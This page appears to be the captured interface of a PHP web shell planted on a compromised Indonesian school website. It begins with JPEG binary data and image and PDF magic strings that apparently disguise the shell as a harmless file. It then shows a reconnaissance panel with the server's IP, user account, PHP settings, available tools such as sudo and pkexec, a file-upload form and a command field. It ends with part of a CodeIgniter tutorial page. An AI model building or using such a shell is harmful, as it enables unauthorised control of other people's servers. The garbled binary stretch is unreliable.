JFIF     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777"H !1AQ"2aqB#R3b$Cr4Ss%Tt&c$!1AQ"a#2B ? }XuAo)8^ IƟ`vUp9jY0Ǧ w)E허2jU`SEKw5]kSno!]:?jc\غV7/9N+{t#8zd/޲3F/=ź3GNquV"/4:{z%ۣI'D@ %88^f}VV)S_2ed^Mx"͟?UC62Q%чmO͓ cq0rŖJ\Õ_Sݶ'|G.q޾D U]nP%EF>˲E"d&'f2s6H]4w IS˶4VbaQ+9]XtNx:M0JNxϙ⟟"{nr;|{%vo\z-wc,*|k}-m55o4W9ؓw߱Yzk .=/oϡȴ^9ҧʹamtQԬZ]4?egjrQ}+)MleE]MPEn!`IK2RUEwVIoͷcp;lśe7΄uN ;rПV8|e\׹9Y-V_G.)XԢOv<;_"ڜ]ߙEr݊'K{KuBJ}KI}24|"v)/ʻo5)6-Tjd7.C]Q&lU,Yk1P4~UKZs|$kX6+屷CUq+N(jlGrpG&UB3#k3\9qfg7O8Kim(AJOO~C#e`i0wĦij$cWh<dtQߺ"NOtG+ZǪ]b5%]v5$)u|qZ柡s-rۖu$MKڎCmN_V'/1u,21pvlc>қeNnֺ|bkl=lǷNOʣlz*]»vȎ[)j[fs[]:s#m6Qt6*Q+`};ßj[F_jcv`r#w}|k<ڞ/r53N8>Kh q_-_??@enſEܥ\D\YAEo+ ޟd}IcY7+t{=ɩ>}i\\JfxzVdSzᔢ]Q^CJի\iceitMM5hڦg')^ et#ۯ"ÿfF->4iؤ2ݷ6#p6^-R̫gETj^I.kӽUp~D9[:/>h> \gJ|ۿؘ>ml9jMK =+*2i=0RiͶۗV{"u]IH`9J_˹KƼK$X-|=ve/ bjxw.9i%NqVJcFYKcTtO,F;%67vYb8֝qq0tUt=DvawsS~~Edzr^F-v{c++ݔ\|9Iy #nOavOY=3690Tcrilwa\˓m$?箵S6U c(.~R7suMhqcMOnKoc*ȣȩEd'J ܜk*_q}%M/7c.|;trddbsdcJev85̤iW Ę 8C# .딖e$sk80^\J众2)Nm~|Idj_ O+6ǻ#(MIz4Qo:օY,:q]̌"lK}{F]ζ)h>ʶ ^ue78_G#rqv$wkk[Q c+վ+ĸZΝFB]VzoiJRke&Kgom_7Wef_7,osJɽE%lzBt>mRs)v8'P0ֲtrOg4p_2`GlhYڦDF/ӚKmtm'P2kqU765fJY:y؊.ox%8V_ִ̌ܞjpqwЮQ;iUcNoOoٸcY w*4soӵkqf$?-jy~0{>?DaL8XL/ɞo+'8 {ʸxգj#Dy)wk̘e۩+%}~;ڼ5xek|y-%ڱ-ʜe:EEScÚ5z|r'&I&яF*F7|[nRF =(4ۖ@. n7@xx:N^8Bg%u/ny6&dR{?8U_Q6Z߯-oh.NR]} qi6~H(j7*uF&l&o8ts]/P89:jW*$w׹Ӌ FxpsCJi.7N q4WU_}7*M#qWiصnk'4ݍl*t^ c<'d:~͗enFQRz9v~ddoTZ̚k7X(wUswO̙fոҁՕ[$IAI>WW~ĪEѢNoeutYߑ-Eixιpxq{FnyfRrjqU᫤]>wPU8)Y-7Wbq㛋w:7ܣ].j%K:y4] %9$I%pT(󨪙VqiYٓ4y~5S/XTDZM2lȪ; S~Kx:(Mn0';-{*qV&|W3S+\֔a{R{s=lYmN9Fn&o'}Vi( ?*qV5ѼCNsM饏zߴ$^O69@ ,$y|jE;gW/u|M?3+ZՕN86յw%|QO㏏S\E#ddsgl+Scl3~~CԕQľ?5_ z߿t11OĶ0>oB9E/SOSk+b&Yn>$툧eg) "!܉(1 uBoJ)/t/,:=7M+1ܺ#CmS^Nz 6[u&]+|Dfj:uZ5-Z^TjMtm>cȳ NdT_,M#Ex;pt۴ͮ#!N iKl!zPծ~$1SiO} HI&g Bf)b%Ko̧kumEnص;V?j>nltOMVۆl>.WueYaw2+qK,?uHiqqSM}~gu3xbcWSy/Xc{%sZ]uaUM;7:cb5G97'7þյW,;$ܛyVjl޻y7S;o6gf.Tг[7/i1Z^rE cUF'P1-?%u&q{fw~27ޡ ^w$?SwP[=R3Y73 4x(Kk&rLȫMKn:RjcI?3Al`vض[POĖSYujj6v+-[xҵ=~zNN>\ɲQ/uufo*e6l;31붏.>w6=7#7dFDc%ƶTbd;2/=?Asr! ~ZSS~I"9y]Hn,ĊJ7S}cK"amCg3yP=RQɤW}t;-{F+v+RɔڎB?º{SV묖kۏmK~%.Q;OfEf_Y/F-V-MdD)m.ZՍ8Y*h[g/6ydmCc[rdfʾ䖗gd$^֍^ʅѻL|<[݉\߯RiJUo';œN?B smS ܹkس,mRE^ѣlJ&.ċ԰YO:޼f\Z'HCѯU[ʩ1ff4S-٥YxTIGLiыr }L)edׂ*l|ٚuoxӿnWkTbbVm zT_'"x5Vިxo1ج^Fq6Sd3ws'/ڞ6m?}1OsRGݝ+,~ڬ%^p1ef5c25vq~﹉ă[r-eq] 8+/ESj}?mUE.xYK3"oƔ^Y9I]I ޑ" &*4.Jâ}ټQbXKJ񽼀ncg`+riܭ_'Bֽp%bX'7cB}WPm|zHָLJhj~E>i~Z$297|_hyΕ&s}ZϷ *j]:v.HK<SP8`Pƣ)r ,}8Wk[ArHgn=о7:J]TTP>OOj J_KyB\Ԥrm嬷ȫr{ݙ5R(FRЪ6q}KLmR'eޖz6[YތesYYL5Tr7s\^rؙV͸컬j5d?yk'b S }kra^ߚRH)[sg.fLM\u= vJQ]rVkZuoN}#G?yjO%|i2fKoӰღC P_Ϳ6Zr{e/m$i}9 G2')YG9KY>|1ӫ +v+i;h\Q@˿Lӭn˖ 7ck>Vr.D0)hC<˄4"0[eԬݭe+l2s3ss oX]1r]+VK vI;mZ')R6e5=/i@]H^Z۬՝EW.jƆf{8mXMV~_̝z^VR}T63}}k3+k3:j1Phlpi{欍BȽ}6w73GtUZv>4eUj$ xz$$D/߇ߟI"uk̜aƪ*ke/F:dһ_PE1ݡkp(5ʏ-ɮ{Yllԧg!ܝ g]i-umεŸxOê^=PR ##XeMy%2L~󜺶Hm ݙ2t_ƶz7'\Z4T<"AM-&xaC]a5.huQ۫$cMμ|h;.J.o߸sE-zU{d];|YLSMvSEneNKr1B[]NeonNߪ$4̘FPrkxޱ=0lr7Q%=$KQ;0r*XKdGۃ*]w-npᬶ\tt4>Dc[Ouo3/)-WҴ xs71eԤm*ٖ웗H''.Cnmy]݊Kra[9)Y#2U6d7tf.[R.GdE>#O_.+-K`{KonR_ÕM/)?:F,Xo1ƽRmz8C]lD %(x+d2Ah+\CCLJ!D65x\ȼv)\Nrp*[YُfL*PyVΚuWA K4hyYdwihNIy#ub?4NDϐ'4 :nFe(o%ve@@xl-k%QƭRP&kεMŪ-Ys2u ]T!}8*TQnZ}v =~mԧyDM&8K>2|Bnugܷ.wvCs̼5F^ubES7ݢM&4Ź-~mKx1((sr!M5uy\q)oy|a)ˣ,A?w"T휳2\F}PR-<2%`~4Z5\W"(USkGpT(~Qj>ɰ쏳ǓSKKx's]nEf'.iݙL>Moƹk7ݭ[.г6lk<;?)#E]xFU7'>vF%R;t:Җs}NSBWX=Y8ث}~G)S^^ƽwR[)/Fm-ڞTK~˓Z]U;RQ=M/"NԝP[-Y9t_8V+}P?Ue{M/O&WWKvc#r'KM'p[±vtpRC/W|7K2Rfm;ljm%Z]^T[6}6iTC }L[uxg7(Z}. SRI)jҞzȶ쳢oYRw$ŷ"J\ǭw{u'R taF{;3hHB\RP(*ZQ]y;;k٥nWbGKv-V?NDҞkd9@z LJ}Kc9C*?V-*[*۸-0.|󲝳ߗZK#%_OFGF$kC$[NNJ7Yn[k~Xzc+Sʲuhsw^^4+nElbƮKD,}YLV=i=|p|_=b5mȵ(~,em#Xƥ.sVoEaWXc.lY uG\m';'*\ӆ}|˯UfQBvo}/"zw + qvMrQ[[AdU2ٽCGgjؖS~Ev%9">$_2Sߚ%ѽ7jX(t#21r{̬F]b()?r[Rı)W[O/6]XL9 vuLh-Ȃ9"'7f!Փ䮿Bf}[lag֧]?Pc#D9EmfK7o*})+n!]qIo^FrNVNo!Eƃd#OP?%ۋ(mPu93ۣ{}2&$%cZ߯LҚY);U afԶd,*'6_?B:R~}^̬~mJ+vC}Ѩe"MY+mi :s쥸;iJeYvBddeK|#5/mzR]F2 JHUU )/S{Ic$=: W)>} @0#URsR=w"L{+ɞ)d|*qq2>[nƨDۋ-G[6½J|{Ѿ4MwyG-Σ Ze{ug>2|'zΤ2%xՑ*<Q̥T')uLkjn(zF-JOR}wn~FV5zq2m'^VS=7Y^RdfeO)>EpX붚w*r*w˿^kڴ{J;K۔sRŶU]p\zn@dx6[+yeH[_m_/I&mv|M5&&-G"v۴^{vg8Y(K_~h0e AxfrzڬkhS/Vy1ϯdW3'͹}{'V-:MW(V/ͷ*E7s\EmEW}bUr'k,P{9?B֫ #[uNrB,wo^{fdF(5tRf.2J-/:~ t0M"d_/c^32*q]yLl^2[ݥZc*vtm213r'tSuM-Խ#o/HF+2VEpmǦޟS?Rs+t:u G8n,Ԛf,hY8SX*rKf>+cpruɬ=DMrXgϸ:~ɲ ~]'5'kElw\=ڞAG&')G9R\_̝1K;nPg&T(ի[^Jҟ"qoӸ.W}3mF>'$<\U6-~?x?B~{^xkpv-vlߣe빹j\(ښsuu6lH(qoaYt?x8}Ie '@b%TݲygV.+O9/W4MsCMuFjYzG.{ds.k(>G~K?ni-=R r}r ?s̥%l5Ϛ9IN6~۩RĢWNʾE[|nb.HY—קWkr1ҺշMNDp)^¸R:w;u1 12]T/Uiʹd%2OC2K*r5S]g凫5 UQ.ȫ– /i91njFkQxuJ1rn%XDžy?s˗վuMGƋ/m^J*RsF))uF,'l{=|nFm9:N\%u#tnXE->e2Y0PũjUȨEŭ|'eʹ[o{Ցms%CGg/}t|snzrvm\g}cÊ94Pvg'L}ّg궮ԱߢO^f.W-sT]M˔ېе<^Н'KuNn_Vl8*Kж^ xsuW51-ￖFzƉT-kY/9wzDޯ/XlW)gypǚjDɨ~{ݤHCim.[>rqE_Uرx/>|L64%aj;fxӱF(K֓J9՞ -K> I_5Enn´&=Oc%o̟IJZF$۲5I9Wݚ n.WTuѲӏ[4U/9.2zX5\j3ĎEsMq4%9.d[7јc9eNa+sjE';%s#ɤ`ףS=WI쫢.Mv:j/[3:rTF_zt:.z%udW%]xܮVz$Vŗ49[^y.խN~M&mx+wGR~_4KC[ʻ:v>03߶v9x-Mȧ$c:lrCWjeg%ֹ_Nh՝Qɏj^ϛr^.>WhlE5yֵ6\W^确]*гc&^NI[oCDn.ߑ!,m&M_/'Mn$s\r^8|uSZZ1|LV<(zq׮xmٚZƏ%.Ԁs^2𱸒O#&,s[mײ9kޖCoSq&俙qxP.N] 2UǎsM2iN.f r[mcQZmFُE{#[TbҔ*sfaSrn^8N<\_'MarJ6 EQғ|F[S'[~q~kmn[_x?B f5Q١X=g(~[Cx}GO ĺo'e)~dq(Ot`sN=~heu ::m'Cjj>~5V柙cyQD%uqEc{[l^U O]b~eŦۑ'W3&' 2V.^D%G S6\wYNO$. O+^ŵG~haEs^=1*bICzFF4O#,Wu3허ekB\I'tWMߩOG3iFz{rgeM9g r] i3gk&u1r/1kVgR-ɿuF .^;3;?3큦bN̂r4ovMkڞ}[:,IVG<};*-2",>K%bK2Ƨ[w!)ˤ;d?4%Ul2ږec4#ōIw^R_/TFX+*FM[F|a'ߚ2SIMeVGn ~&Y Ym(?ԛ],=|сG4yjk"Q^~ԗ^c,qqrg^-:Uc[E8>>k|nS..LBIc>3i|ZEZXAqm nuOm<; X~mrK=~ ƱrSN<U!F΋WS/|t?K)zd} ,C"ovx?bբs3mX3桭X֖˦kFddhg}$ggSo5jL*NdJis$ EQ\v=0HxzyW~FT_Ƶccg,&=_V(%kq+_÷O'[_[Uڽv F $Ξ9n5EN/4Yy/%*} .jΔ`V_6\VͲohzfOgޯzpj}y}v:34WH;+x7ӻu<ݦ"mJ/=>eoD֣c4kXW-[}٬6;t[Na_• _5i5˗sٴ]+e;Joj㼶ۙyLumo5&F)F\ {(sm_M>gzcr)KU̠Ħ=VDd'h;-aŤ9KٰqQܫަazMp4bk9 UX.ͮ]KeS5Uq[¹X0ɦ6]roFjʧ2׏6/C6eQE5KӰmsFnIz&`z팡-ٯ.ixyك?c2//z6M4W[]_"?Õ[? Vfvӳq]I5(d|MʝzcC*mN>B2gD+><e:Gh %UkW%zJ8k_ˠ=KFRfw{sŖ^q\/{v[Ω}gLjT[t_ޕg6G~rkkMcSRKբ54?SAûO1o%[>5/R~CioNdNʛćh>f6H8c/<1xd[ŦCEk.9"ej?w&O6^ژR[vrQ.z㎩f6:V8}hi2z~ s-w]+|I9s_C~>-S&9ZFVLf7-d'pՠplJ#mm؎s(?Ʋ?/A%_sXuGNnR}_dq>1ʍ|У3]NXYZʷ/&ܛ彖LS? 6]"_t5qP5Kq]^m91jW暹U6-5WU澦M0˵f2ӪǮ.P~? _nEJTcTei)ٳrۣ%x %gs}7l9'tb~dXst# r?}Weaq>=+to)7،E*vn\e_,\NFxcivz]tM˼?Oԝ2Zrλs-ĺEtonIIfm/9^[^EBUjOnr6vI& l]%0")2䒶-+R*zyX<> -X9GUo^xYQ8ιvixٔa\t)hv}ьոVU~tK,=_wLLa?TYIo]$`N6cbi?#7;MRt<.~Q-mob\\g5췍 ڌ_?8nfJN/Y͢n3?_sϩ{HiְPo'yS??_jߡWi5q? MWȲ)8a]lLˏ--b[TXlΫRy;o5뜾$HW.mm?շG[Ƀ seo5Q}Le%*،«~uU{R$t\^%!weX:G('6WupTS&~8=jo?2_PϖE[nf6Tٯ;GLW)NM[o*\j%.gb|䭹noOX:1R)UTj74˓]D_bʝkzNI.9|^G`KeQ{mOjX/sR7evdgi7qm}ތW&4=~|YY)?7Oj}xXkF×4c.l?i|b[5Ή5j-[Y\z<茲Z$Ff&o;gErǩݦ̪/q[&[/9uuzi;PS^_/?]=ΕqK~ӛ5'NM[m_Ϲc'[oӯE#g߂vvGNRo϶o5Ǩ[ɉtov2~i<7iSȜN(G5+/ٛMTܣukj鷣/$1˒!Mxr\ߤs1ZuMQȌ^]c$CXrj#N/˦Ķ9]Nzê5zi;W,v!ŧD6zğ7uR5^MW}>igl2U2nXo{}_w]&vte\Z3 MEEe/ 2s㗼S_bIղTI}|[Ye/c]*̪9u/DmyNxSDgi `Z?.RFj۪'~.[KVb޺o濡to?E#[.^y=q4F8ڎ/GX\.YW!Z.ѕtt:?gYYyU%Uw~ri>ȦKhg,5/=>V?TrN4aWO,oӕ7-SRi*"dܽpuaVQÞd-#J2Nr:#``ѧWR-F?I-T -cOT2pr?þזgE\Ij~L9%EMoџUؙt8_eYΧWjU}e9y9z/#TT-2dLt3H=ڼcKb'"uIٓ'[[߱F~\2]r%C]^VCLjm[cJNryf}ջ.[DEoRՒb'>fVy_c6[K4Na5>{ɳaw/Uj.Զ_K~?IeJ7OQx3IgFc*جɊǽ-o3Ӭp / ]7V*ENܜ[r/tOJΉw*ʨ*JFN^.WZeLgUwKi/M9y8dkOᛊHxGĶM*&#h/U|6D(uFyE5hYxiSEVm^D|,ۿCj;<*ouOkYpΔ2{x-L] !k2ا#IM'a7:M}M1Y儭Mnk[/;4Uwkkɫ%aɔoXVV$m;2Z4i9:>\Yů= ?[{t6,~!c`Un+dW.gKyIB]l+3kض(\MZ\}>k\C~閹l[ů]VNtƸr몮X+U>v'nv{y7s[г̭9Ctvt% GqT8=wa(6\Rd柮YWv^Fd^\+緉,+=-^S"k:NVu o[_TIѝ椯bF/G㿏dΙ?T}K-T)W>s?3M)V*,;P\,}B u{rDexڥVFfw}47׋w}]Դ 1dmk1V%/'T:Fǒ_TEe[l/l/ٯc{Ƀ[~`zj⾥r}Vܪ{M8Qv]$mU]8J2MngcxY?鑞.9HjxSy.fS(|]MgcK2$(jRQ3XO|<f:Jq4& fw|$N )A8ת99 mFNM*Dϒ NoIa9i9y?:D⻧߇\7ɧ]mu"-˥5/w̨_ 7DK['[2"(%xzT\*GT"+<,yX.lEJrfo?.4N;l>jmZߣ5FdB3\r,t,./S]Q{tm5lӕT~A [fv7Iہc: ΪN7I]2(|o$NLW"#~Dͭ=v-Mv{-lqn{I3xn'6.=DƟܖަ~deQV;k2Ei\[bӴ1_]OhZl朠&t3xkei+c\'ZԪ'hK梿X@cTԫ#emIz6e^i?8 NBc̆f+MׇdC]YSd%lώ8-c7eι/}_con/no\핍~[WNReXMo+اn ?#Ͷ-AUFN1V4!y,{1a$S﹑;Ǚr"__[o) xk}7EI/riwؙ7mR}`|yrEVdo/B# uٳiNQKQkᑑ^d@/=ˑɒ768fsuor9=7ףܹճpMr-$1uySOZN?đrqզ9F q=.!T?ػ bf{¯q=$^:!ES߿ Fu\OS,8e^UוS^hF4BQƺȪw-kF39@X06 Fv=Q^|ƞ5}2tnmG_|Λ(|%](-5>KȁN$=6lq).12 V6m$ׇlOcҫܸ K{;ľ>+Q?Rx-Keu uMy$i B}G*h$Q -W[-&a"[i\}~Ek$<~c{MffS eS.#\^lMiytު]9S{u4 {DFޅSź}R ]R$y;r/P̙3niXMt;&!rxw\ZFmQ"w\L{^۔K&/gr:m=2%5bwE"^e[\$ɟPi!U_rdS2d?=[!(I.rC QZEim%}|YmzZ_ά<ۡLQM|` ybPȏ}?]Eu[`kҫgFb~F}Q8NP>5lӳ^-K%Q}$sx7SvnfTƸ|Kzd'_ⰽח$4L Y?qy32t j2e ȜrJ{mبhۍUU'p#8y'ѝ=i+Tĩo7WYyČkL5؝M=%"Nt}eXW)N.~sv5pɮ sSQ[+-/}kVk'FEɩ9SE&T=&\緵 --tf.9Ѳ4_##_ɱTFV؞~YTddS&s=䟚Fb1._5}~gM'p#,U hs--XG wtԹTi7M:GYK5'^W?C>_Gq/S&d| k_gO ӊiJeHU G_ Êg#),}-:5>V1emq}t}q?meKU:BqJeiPɗ#\$sI} Z生ƫoo=V=pVcUg"%wEm叡vIdhrȔ~F]p58_.,O|'Ɇ^L!c6OWӷ{x9?Fp?ceOuT+Uɵݹ&gx9i퓃sxGIm}_3Īr#:ԣ?4בc[jö#B7KʌWNo)=+c }YvP{lv^r+5Vxx_:~=̌Q}CTy+Wh鸚f$101뢊F[#--Y\i@l)W8/E>8nlj/ktOľ,q*[sE[]:?ZeQvŔɺ|j(Wx,LW=:S?κq%81c)jJvODLiW,{96vr-2}-EH,}%3k#l5gl~x__W Sڎ 8YJQvA=QIWju6-X9$kWЩCI4UWd'&O/Cf=Pi/#+>n$KYst܅y4ʷD^~%~myj,s_4Q}΍Cή;SW:h=Ff{.B/inȇo=-T͸OY2}hlK}.m7-z?,f-/^b\QWs/_͔/3In[6M;l ygؼ!WUË_)D9YL4_>f}ϵ3hV5Oѣ(l8?L4蹥[-Э=7V{&ʢPʼ*3cMz>u4@[oM gKS[jy"Lھzɵfx)GE`ֿ.=kJ>/iˢ[j-qץQC B@o V(ʯG?Bܻ\I>=K-].(vOE.5׮=/Pf^&$caY9{3މ%YOxZ~6Z;;ԗ.NJzş/YϖĜ%ѿO^tY$ν4|e}2ɶU9A؜h˺LrIm%J.|I]kG|DzU k4'(T\9߱^!z -:mW^ <= <^2*;Seq(6ªsHf5ʸO{Ilr~G uJY^k5X_y;5'59O@ƣ̶>pnCOvNwX4oUUf]Џe%MV9Xm9]x'Q=82z)c/~1\~LSow>ﺍƻUql~Sqo羘sk}VjG71kYؽ]b4qnMӡ; w@̇IL㿗[43)]=v*)EH'a񖳋ҎTkxuXGK& ZIR(M8?:ixJp-dmckpu*%N^-7E3='ceE&';_J'Mw𶥏Y9+d9+>!e_Sn|VX -TZu]Ģ/6\ckr /ޗ/z[y.N:*k$ }Yǭ}GUm^-%dm;K_#ctBsg2:8rz-VE|T w.}w9NEPGnoCe8/&3qT}MJ̙Mۗ~哳,-WI_Bsh+~͛vN{ZdYKݲkr%+lo*re-ه?:vYqFfCsqMXRķ{yqgrx.oǓ\xdڗ_ZC9WomX|KmV_%UJܷr$drȳL~MoKyYLic Jq<1$UuٯTד374s<ĕ96춉r9 pGc9=p^:)ZJb&VӝXٽ 0/X& ۳*_ԙƏ.5J 6<$$6B0d_d?hqd>XCe- wO@pg:.>$.Ϣ~L޲|,{-ɪ2.u/Ds-[ُiVIWK5M#Fܭ3?x.)ۣ,wJ)Ȳڣ-#fbdq&Tͧ8Q,YqQ)/R­?\k˔[p_+ogzP[6r^o}_kT}JiJ;<ivEH8wI@MOPʊ\#+$%PDF-1.7 GIF89;
ANDA PELER
Server IP : 182.253.108.180  /  Your IP : 18.119.108.47
Web Server : Apache
System : Linux sma1wiradesa.sch.id 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : wijaya ( 1017)
PHP Version : 7.3.33-10+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/wijaya/public_html/userguide/tutorial/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/wijaya/public_html/userguide/tutorial/news_section.html

<!DOCTYPE html>
<html class="writer-html4" lang="en" >
<head>
  <meta charset="utf-8" />
  
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  
  <title>News section &mdash; CodeIgniter 4.1.1 documentation</title>
  

  
  <link rel="stylesheet" href="../_static/css/citheme.css" type="text/css" />
  <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />

  
  
    <link rel="shortcut icon" href="../_static/favicon.ico"/>
  

  
  

  

  
  <!--[if lt IE 9]>
    <script src="../_static/js/html5shiv.min.js"></script>
  <![endif]-->
  
    
      <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
        <script type="text/javascript" src="../_static/jquery.js"></script>
        <script type="text/javascript" src="../_static/underscore.js"></script>
        <script type="text/javascript" src="../_static/doctools.js"></script>
        <script type="text/javascript" src="../_static/language_data.js"></script>
        <script type="text/javascript" src="../_static/js/citheme.js"></script>
        <script type="text/javascript" src="../_static/js/carbon.js"></script>
    
    <script type="text/javascript" src="../_static/js/theme.js"></script>

    
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Create news items" href="create_news_items.html" />
    <link rel="prev" title="Static pages" href="static_pages.html" /> 
</head>

<body class="wy-body-for-nav">

   
  <div class="wy-grid-for-nav">
    
    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
      <div class="wy-side-scroll">
        <div class="wy-side-nav-search"  style="background: #DD4814" >
          

          
            <a href="../index.html">
          

          
            
            <img src="../_static/ci-logo-text.png" class="logo" alt="Logo"/>
          
          </a>

          

          
<div role="search">
  <form id="rtd-search-form" class="wy-form" action="../search.html" method="get">
    <input type="text" name="q" placeholder="Search docs" />
    <input type="hidden" name="check_keywords" value="yes" />
    <input type="hidden" name="area" value="default" />
  </form>
</div>

          
        </div>

        
        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
          
            
            
              
            
            
              <ul>
<li class="toctree-l1"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/requirements.html">Server Requirements</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/credits.html">Credits</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/psr.html">PSR Compliance</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../installation/index.html">Installation</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_composer.html">Composer Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_manual.html">Manual Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/running.html">Running Your App</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/upgrading.html">Upgrading From a Previous Version</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/troubleshooting.html">Troubleshooting</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/repositories.html">CodeIgniter Repositories</a></li>
</ul>
</li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="index.html">Build Your First Application</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="static_pages.html">Static pages</a></li>
<li class="toctree-l2 current"><a class="current reference internal" href="#">News section</a></li>
<li class="toctree-l2"><a class="reference internal" href="create_news_items.html">Create news items</a></li>
<li class="toctree-l2"><a class="reference internal" href="conclusion.html">Conclusion</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../concepts/index.html">CodeIgniter4 Overview</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../concepts/structure.html">Application Structure</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/mvc.html">Models, Views, and Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/autoloader.html">Autoloading Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/services.html">Services</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/factories.html">Factories</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/http.html">Working With HTTP Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/security.html">Security Guidelines</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../general/index.html">General Topics</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../general/configuration.html">Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/urls.html">CodeIgniter URLs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/helpers.html">Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/common_functions.html">Global Functions and Constants</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/logging.html">Logging Information</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/errors.html">Error Handling</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/caching.html">Web Page Caching</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/ajax.html">AJAX Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/modules.html">Code Modules</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/managing_apps.html">Managing your Applications</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/environments.html">Handling Multiple Environments</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../incoming/index.html">Controllers and Routing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../incoming/controllers.html">Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/routing.html">URI Routing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/filters.html">Controller Filters</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/message.html">HTTP Messages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/request.html">Request Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/incomingrequest.html">IncomingRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/content_negotiation.html">Content Negotiation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/methodspoofing.html">HTTP Method Spoofing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/restful.html">RESTful Resource Handling</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../outgoing/index.html">Building Responses</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/views.html">Views</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_cells.html">View Cells</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_renderer.html">View Renderer</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_layouts.html">View Layouts</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/view_parser.html">View Parser</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/table.html">HTML Table Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/response.html">HTTP Responses</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/api_responses.html">API Response Trait</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/localization.html">Localization</a></li>
<li class="toctree-l2"><a class="reference internal" href="../outgoing/alternative_php.html">Alternate PHP Syntax for View Files</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../database/index.html">Working With Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../database/examples.html">Quick Start: Usage Examples</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/configuration.html">Database Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/connecting.html">Connecting to a Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/queries.html">Running Queries</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/results.html">Generating Query Results</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/helpers.html">Query Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/query_builder.html">Query Builder Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/transactions.html">Transactions</a></li>
